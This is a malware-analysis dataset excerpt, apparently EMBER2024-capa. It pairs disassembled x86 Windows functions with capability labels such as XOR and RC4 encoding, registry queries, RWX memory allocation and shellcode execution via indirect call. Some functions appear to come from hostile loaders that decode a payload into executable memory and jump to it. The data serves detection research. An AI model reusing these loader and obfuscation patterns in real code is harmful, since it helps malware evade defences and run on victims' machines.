joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret

Function at 0xc40adf
Capabilities:
Encode data using xor

Disassembly:
lahf
shr dword [ebx - 0x1f], 1
in al, dx
fucompi st(2)
sbb al, 0x34
pop ecx
jb 0x803fa7
scasd eax, dword es:[edi]
invalid
mov ch, byte [esi + 0x69]
invalid
pushfd
push 0xea6f7dbb
push dword [esp]
mov dword [esp + 0x10], eax
pushal
call fcn.007ff73f
adc ch, byte [edi + esi*4]
inc edi
cmp byte [esi - 0x7b], 0xac
jle 0x803f1e
lodsb al, byte [esi]
xor al, 0xbf
out dx, al
cmp eax, 0x295d4561
mov dl, 0x4c
or dword [edi + ecx*8], 0xffffffa2
dec ebp
inc edx
test eax, 0xe3048b40
mov byte [0x40a9424d], al
mov eax, dword [ebx]
sbb ebx, esp
mov bl, 0x2c
add eax, esp
imul eax, dword [eax + 0x5093657e], 0x5b
xchg esp, eax
imul esi, dword [esi + 0x79], 0xffffff82
popfd
jo 0x803f95
sbb ch, cl
aaa
enter 0x3ef, 0xffffffffffffffa3
xor byte [ebx], bh
mov dl, 0x39
adc byte [edx - 0x3d], al
cmp eax, 0x3a81ecae
jge 0x803f66
ret
dec ebp
inc edi
jns 0x804001
mov ecx, 0x2990df13
mov esi, 0x915e37c8
push 0xffffffffffffffab
push eax
ja 0x80403b
movsd dword es:[edi], dword [esi]
invalid
mov eax, 0x3126c533
adc byte [edi], bh
inc ebx
mov ah, 0x7b
je 0x803f97
dec ecx
scasd eax, dword es:[edi]
xor al, 0xc4
adc esp, ebp
mul bl
cld
fst qword [edx]
retf 0xbf39
cmpsd dword [esi], dword es:[edi]
mov edi, 0x9073fee1
outsb dx, byte [esi]
test dword [edi - 0x7e], esp
jne 0x803fd1
bound eax, qword [edi - 0x3fc16aac]
pxor mm3, mm4
xchg ebp, eax
inc esi
mov eax, 0x1bf1d63b
das
mov dl, 0x3d
jmp 0x44781078
mov dword [ebp - 4], eax
jmp 0x803f7f
Function at 0x534d84
Capabilities:
Encode data using base64
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov dword [esp + 4], ecx
mov dword [esp], edx
mov edi, 0x66a33c
lea ecx, [esp + 8]
mov dword [ecx], eax
mov eax, dword [esp]
mov dword [esp + 0xc], eax
xor ebx, ebx
xor esi, esi
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
test eax, eax
jle 0x534e48
mov edx, dword [ecx]
movzx edx, byte [edx + ebx]
shr edx, 2
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx]
and dl, 3
and edx, 0xff
shl edx, 4
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 1]
shr ebp, 4
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 1], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 1]
and dl, 0xf
and edx, 0xff
shl edx, 2
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 2]
shr ebp, 6
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 2], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 2]
and dl, 0x3f
and edx, 0xff
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 3], dl
add esi, 4
add ebx, 3
dec eax
jne 0x534dbc
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
dec edx
je 0x534e5f
dec edx
je 0x534ea0
jmp 0x534efd
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 2], 0x3d
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
jmp 0x534efd
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov edx, dword [ecx]
movzx edx, byte [edx + ebx + 1]
shr edx, 4
add eax, edx
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [ecx]
mov al, byte [eax + ebx + 1]
and al, 0xf
and eax, 0xff
shl eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 2], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
mov eax, dword [esp + 4]
add eax, 2
mov ecx, 3
cdq
idiv ecx
shl eax, 2
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x534f60
Capabilities:
Encode data using base64

Disassembly:
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], eax
mov dword [esp + 8], edx
xor esi, esi
xor edi, edi
xor eax, eax
mov ebp, ecx
test ebp, ebp
jns 0x534f7d
add ebp, 3
sar ebp, 2
test ebp, ebp
jle 0x53508f
mov edx, 4
mov eax, esp
mov ecx, dword [esp + 4]
movzx ecx, byte [ecx + esi]
cmp ecx, 0x3d
jg 0x534fb0
je 0x534ffc
sub ecx, 0x2b
je 0x534ff2
sub ecx, 4
je 0x534ff7
dec ecx
sub ecx, 0xa
jb 0x534fe1
jmp 0x534fff
add ecx, 0xffffffbf
sub ecx, 0x1a
jb 0x534fc2
add ecx, 0xfffffffa
sub ecx, 0x1a
jb 0x534fd0
jmp 0x534fff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x41
mov byte [eax], cl
jmp 0x534fff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x61
add cl, 0x1a
mov byte [eax], cl
jmp 0x534fff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x30
add cl, 0x34
mov byte [eax], cl
jmp 0x534fff
mov byte [eax], 0x3e
jmp 0x534fff
mov byte [eax], 0x3f
jmp 0x534fff
mov byte [eax], 0xff
inc esi
inc eax
dec edx
jne 0x534f8f
mov al, byte [esp]
shl eax, 2
xor edx, edx
mov dl, byte [esp + 1]
shr edx, 4
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi], al
lea eax, [edi + 1]
mov dl, byte [esp + 2]
cmp dl, 0xff
je 0x53504f
cmp byte [esp + 3], 0xff
jne 0x53504f
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
lea eax, [edi + 2]
inc edi
jmp 0x535087
cmp dl, 0xff
je 0x535087
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
mov eax, dword [esp + 8]
mov dl, byte [esp + 2]
shl edx, 6
or dl, byte [esp + 3]
mov byte [eax + edi + 2], dl
lea eax, [edi + 3]
add edi, 2
inc edi
dec ebp
jne 0x534f88
add esp, 0xc
pop ebp
pop edi
pop esi
ret

Function at 0x53511c
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0x67b7a0
mov eax, ebx
mov edx, 8
test al, 1
je 0x535138
shr eax, 1
xor eax, 0xedb88320
jmp 0x53513a
shr eax, 1
dec edx
jne 0x53512b
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0x535124
pop ebx
ret
Function at 0x535150
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x535159
mov eax, dword [ebp - 4]
add esp, 0xfffffebc
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0052ca38
xor eax, eax
push ebp
push 0x535239
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0053511c
mov eax, dword [0x67ae0c]
mov byte [eax], 0
mov dword [ebx], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.0052ae7c
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.0052b218
call fcn.0052aba8
test eax, eax
jne 0x535216
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10145]
mov ecx, 0xfff1
lea eax, [ebp - 0x154]
call fcn.0052afcc
mov dx, word [ebp - 8]
test dx, dx
jbe 0x535210
lea eax, [ebp - 0x10145]
xor ecx, ecx
mov cl, byte [eax]
mov esi, dword [ebx]
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x67b7a0]
mov esi, dword [ebx]
shr esi, 8
xor ecx, esi
mov dword [ebx], ecx
inc eax
dec dx
jne 0x5351ec
cmp dword [ebp - 8], 0
jne 0x5351c3
lea eax, [ebp - 0x154]
call fcn.0052afec
not dword [ebx]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x535240
lea eax, [ebp - 4]
call fcn.0052c588
ret

Function at 0x540718
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
test esi, esi
jbe 0x540738
mov ecx, 1
mov ebx, edx
add ebx, ecx
dec ebx
mov bl, byte [ebx]
mov edi, eax
add edi, ecx
dec edi
xor byte [edi], bl
inc ecx
dec esi
jne 0x540726
pop edi
pop esi
pop ebx
ret
Function at 0x548fd4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
xor ebp, ebp
mov ebx, 0x67bcb4
mov eax, ebp
shr eax, 1
and eax, 0xff
mov dword [esp], eax
mov esi, ebp
and esi, 1
mov eax, ebp
and eax, 0x200
shr eax, 8
or esi, eax
mov edx, dword [esi*4 + 0x670670]
mov eax, dword [esi*4 + 0x6706b0]
xor eax, dword [esp]
call fcn.00548f70
mov edi, eax
shl edi, 0x18
mov eax, edi
call fcn.00548fac
mov dword [ebx], eax
mov edx, dword [esi*4 + 0x670680]
mov eax, dword [esi*4 + 0x6706c0]
xor eax, dword [esp]
call fcn.00548f70
mov edi, eax
shl edi, 0x10
mov eax, edi
call fcn.00548fac
mov dword [ebx + 0x1000], eax
mov edx, dword [esi*4 + 0x670690]
mov eax, dword [esi*4 + 0x6706d0]
xor eax, dword [esp]
call fcn.00548f70
mov edi, eax
shl edi, 8
mov eax, edi
call fcn.00548fac
mov dword [ebx + 0x2000], eax
mov edx, dword [esi*4 + 0x6706a0]
mov eax, dword [esi*4 + 0x6706e0]
xor eax, dword [esp]
call fcn.00548f70
mov edi, eax
mov eax, edi
call fcn.00548fac
mov dword [ebx + 0x3000], eax
inc ebp
add ebx, 4
cmp ebp, 0x400
jne 0x548fe0
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x549138
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + edx*4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
lea eax, [edx + eax*4 + 0x4c]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [eax + ebx*4], edx
inc ebx
cmp ebx, 3
jne 0x54916d
xor ebx, ebx
mov eax, ebx
mov esi, 3
xor edx, edx
div esi
mov eax, dword [ebp - 0x14]
lea eax, [eax + edx*4]
mov dword [ebp - 0x18], eax
xor eax, eax
lea edx, [eax + ecx]
and edx, 3
mov esi, dword [ebp - 8]
lea edx, [esi + edx*2]
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
mov dx, word [edx]
and dx, 1
movzx edx, dx
mov esi, dword [ebp - 0x18]
mov esi, dword [esi]
add esi, esi
or esi, edx
mov edi, dword [ebp - 0x18]
mov dword [edi], esi
mov esi, dword [ebp - 0x1c]
movzx esi, word [esi]
shr esi, 1
xor dx, 1
shl edx, 0xf
or si, dx
mov edx, dword [ebp - 0x1c]
mov word [edx], si
inc eax
cmp eax, 4
jne 0x549193
inc ebx
cmp ebx, 0xf
jne 0x54917d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 8
jne 0x54914f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x453293
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x45333b
push ebx
push edi
mov edi, ecx
mov ebx, edx
cmp dword [0x9dcb04], 0x319
jne 0x453325
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x40c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.0045286c
add edi, 8
dec ebx
jne 0x4532b0
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x453340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
push 0x40143c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40144c
push eax
mov dword [0x974e64], eax
call esi
push 0x401458
push dword [0x974e64]
mov dword [0x974e5c], eax
call esi
push dword [0x9dcb04]
xor esi, esi
push esi
mov dword [0x955ac4], eax
call dword [0x974e5c]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x9dcb04]
mov dword [0x955adc], eax
push eax
call dword [0x955ac4]
xor edi, edi
cmp edi, 0x85b4
jge 0x4533c0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
cmp edi, 0x11c825e
jg 0x4533e5
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x4533a7
jg 0x4533e5
cmp eax, 0xd69e5f85
jb 0x4533a7
mov eax, dword [0x462734]
mov edx, dword [0x9dcb04]
mov dword [0x9dcb08], eax
xor eax, eax
cmp edx, esi
jbe 0x45341c
mov ecx, dword [0x9dcb08]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x955adc]
mov byte [edx + eax], cl
mov edx, dword [0x9dcb04]
inc eax
cmp eax, edx
jb 0x4533fb
mov ecx, dword [0x955adc]
push 0x462008
call fcn.00453293
push 0x7b
pop ebx
cmp dword [0x9dcb04], 0x54d
jne 0x45345a
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x401468
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
dec ebx
jne 0x45342f
mov eax, dword [0x955adc]
mov dword [0x974e6c], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x45346e
Capabilities:
Create thread
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp dword [0x9dcb04], 0x598
push ebx
push esi
push edi
jne 0x4534d7
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x40147c
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call fcn.00453a8b
push ebx
push ebx
call fcn.00453880
add esp, 0xc
call fcn.00453836
mov esi, dword [0x4636e4]
mov edi, 0x465c80
add esi, 0xb2d3b
mov eax, edi
mov dword [0x9dcb04], esi
lea ecx, [eax + 1]
xor ebx, ebx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4534f5
sub eax, ecx
cmp eax, 0x1515
jne 0x453578
cmp esi, 0x18
jne 0x453530
push ebx
push ebx
push ebx
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [0x9dcb04]
cmp esi, 0x9e6
jne 0x45354f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x401498
push edi
call fcn.00453771
push ebx
push ebx
call fcn.00453731
push ebx
call fcn.00453a8b
add esp, 0xc
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00452808
fstp st(0)
call fcn.00453340
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x4598cf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x464c88]
jne 0x4598d9
repz ret
jmp fcn.0045e696
Function at 0x45b97a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004561a5
and dword [ebp - 4], 0
cmp dword [0x9dd180], 0
mov ebx, eax
jne 0x45ba2b
push 0x401f20
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45badc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401f14
push edi
call esi
test eax, eax
je 0x45badc
push eax
call fcn.00456133
mov dword [esp], 0x401f04
push edi
mov dword [0x9dd180], eax
call esi
push eax
call fcn.00456133
mov dword [esp], 0x401ef0
push edi
mov dword [0x9dd184], eax
call esi
push eax
call fcn.00456133
mov dword [esp], 0x401ed4
push edi
mov dword [0x9dd188], eax
call esi
push eax
call fcn.00456133
pop ecx
mov dword [0x9dd190], eax
test eax, eax
je 0x45ba2b
push 0x401ebc
push edi
call esi
push eax
call fcn.00456133
pop ecx
mov dword [0x9dd18c], eax
mov eax, dword [0x9dd18c]
cmp eax, ebx
je 0x45ba83
cmp dword [0x9dd190], ebx
je 0x45ba83
push eax
call fcn.004561ae
push dword [0x9dd190]
mov esi, eax
call fcn.004561ae
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45ba83
test edi, edi
je 0x45ba83
call esi
test eax, eax
je 0x45ba7a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45ba7a
test byte [ebp - 0xc], 1
jne 0x45ba83
or dword [ebp + 0x10], 0x200000
jmp 0x45babc
mov eax, dword [0x9dd184]
cmp eax, ebx
je 0x45babc
push eax
call fcn.004561ae
pop ecx
test eax, eax
je 0x45babc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x45babc
mov eax, dword [0x9dd188]
cmp eax, ebx
je 0x45babc
push eax
call fcn.004561ae
pop ecx
test eax, eax
je 0x45babc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x9dd180]
call fcn.004561ae
pop ecx
test eax, eax
je 0x45badc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x45bade
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x406243
pop dword [ebp - 0x18]
mov eax, 0x406243
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xd8759666
sub dword [ebp - 0x28], 0x8a23511b
mov dword [ebp - 0x24], 0x8c9ef1c7
add dword [ebp - 0x24], 0xa5945a7e
mov dword [ebp - 0x20], 0x12df74a4
sub dword [ebp - 0x20], 0xc6933076
mov dword [ebp - 0x1c], 0x5308beb6
add dword [ebp - 0x1c], 0xacf7414a
lea eax, [ebp - 0x28]
push eax
mov eax, 0x2406e5d8
add eax, 0xdc399b2c
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x4369ddbd
add dword [ebp - 0x28], 0x31088b99
mov dword [ebp - 0x24], 0x4ba05b45
sub dword [ebp - 0x24], 0xa33f9d0
mov dword [ebp - 0x20], 0x2295b52c
add dword [ebp - 0x20], 0x40d9b740
mov dword [ebp - 0x1c], 0x102ab984
add dword [ebp - 0x1c], 0xefd5467c
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3982b
push 0
call eax
mov ecx, 0x51f3
xor esi, esi
add esi, eax
mov edi, 0x46e400
add edi, dword [ebp - 0x18]
mov edx, 0x8309431a
sub edx, 0xf14ec974
xor dword [ebp - 4], edx
mov ebx, dword [edi]
xor ebx, edx
sub dword [ebp - 4], edx
mov dword [esi], ebx
mov dword [ebp - 4], 0xeb617894
add esi, 4
add edi, 0xa49d92d8
sub edi, 0xa49d92d4
loop 0x406351
add eax, 0x13a9f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xc941562d
sub ecx, 0xc901562d
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x406850
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x465dbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045ac1b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4068d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00458b6a
mov eax, dword [eax]
push 0x4901f0
push eax
call fcn.0044b834
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045aea6
test bl, bl
je 0x4068d2
push 0x4901f0
lea ecx, [esp + 0xc]
call fcn.0045b236
push 0x493d48
lea ecx, [esp + 0xc]
call fcn.0045b236
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40690e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045aea6
jmp 0x4069d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x406992
lea edx, [esp + 0x7c]
push 0x493d44
push edx
call fcn.0044b834
add esp, 8
test eax, eax
je 0x406992
lea eax, [esp + 0x7c]
push 0x493d40
push eax
call fcn.0044b834
add esp, 8
test eax, eax
je 0x406992
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406922
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045aea6
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4071d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x407232
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc